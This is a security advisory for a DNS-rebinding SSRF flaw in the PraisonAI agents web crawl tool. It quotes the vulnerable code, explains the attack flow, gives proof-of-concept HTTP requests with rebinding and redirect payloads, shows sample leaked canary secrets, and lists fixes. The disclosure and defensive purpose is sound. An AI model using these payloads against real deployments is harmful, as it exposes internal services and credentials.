CVE-2026-62169

Summary

Details

Affected component

• Package: praisonaiagents (PraisonAI), version 4.6.63.
• File: src/praisonai-agents/praisonaiagents/tools/web crawl tools.py; tool web crawl / crawl web (part of the default bot tool set).

Vulnerable code / root cause

for info in socket.getaddrinfo(hostname, None):     # resolve at CHECK time
  ip = ipaddress.ip address(info[4][0])
  if (ip.is loopback or ip.is private or ip.is link local
      or ip.is multicast or ip.is unspecified):
    return False
return True

for u in raw url list:
  if is safe crawl url(u):    # validate the URL string
    url list.append(u)
...
results = crawl with httpx(url list)  # or crawl with crawl4ai(url list)

with httpx.Client(follow redirects=False, timeout=30.0) as client:
  for  in range(max redirects + 1):
    if not is safe crawl url(current):  # re-resolves hostname (CHECK)
      raise ValueError("Redirect target failed SSRF validation")
    response = client.get(current)    # resolves AGAIN at CONNECT

import urllib.request
with urllib.request.urlopen(url, timeout=30) as response:  # re-resolves + auto-follows redirects
  content = response.read().decode('utf-8', errors='ignore')

Attack flow

1. Attacker controls a hostname (e.g. rebind.lab) whose authoritative DNS rebinds.
2. Lookup #1 (the guard) → a public IP → is safe crawl url() returns true.
3. The backend re-resolves → the attacker's DNS now answers an internal/private IP (cloud metadata, loopback, internal service).
4. The backend connects to the internal service and returns its body to the caller → internal data disclosure.

Why existing protection is bypassed

• The guard validates the hostname, not a pinned IP; check and connect resolve independently → DNS rebinding (TOCTOU) defeats it on every backend.
• Redirect re-validation (httpx path) re-checks the hostname but still re-resolves at connect, so it does not stop rebinding; the urllib fallback and crawl4ai backends have no per-hop guard at all.

Security boundary

Proof of Concept

Environment

Steps to reproduce

1. Burp Repeater tab PRAI-05-01-DNS-Rebind-Trigger → 127.0.0.1:18080:

POST /tool/web crawl HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json

{"url":"http://rebind.lab:8081/secret"}

2. Send (PRAI-05-02-DNS-Rebind-Secret-Readback captures the response). If a send returns the "blocked" error, the rebinding DNS auto-resets (~3s) — resend.
3. Redirect variant: PRAI-05-03-Redirect-Trigger / PRAI-05-04-Redirect-Secret-Readback send {"url":"http://redirector:8082/redirect-to-internal"}.

Expected result

Actual result

{"input url":"http://rebind.lab:8081/secret",
 "result":{"content":"{ ... "secret": "PRAISONAI INTERNAL SECRET CANARY 7f3a91", "token": "FAKE INTERNAL TOKEN DO NOT USE 7f3a91" ... }","provider":"httpx"}}

Screenshots

Reproduction assets

Impact

Suggested remediation

1. Resolve the host once, reject all returned records that are private/loopback/link-local/ULA/CGNAT/metadata, then connect to that exact validated IP (pin it; send the original Host). Do not let the HTTP client / browser re-resolve.
2. Apply the same validation + IP pinning to every backend (httpx, urllib fallback, crawl4ai) and every redirect hop.
3. Disable automatic redirect following (or cap + re-validate each hop with pinning).
4. Treat IPv4-mapped IPv6, decimal/octal/hex IPs, and CGNAT/non-global ranges as unsafe.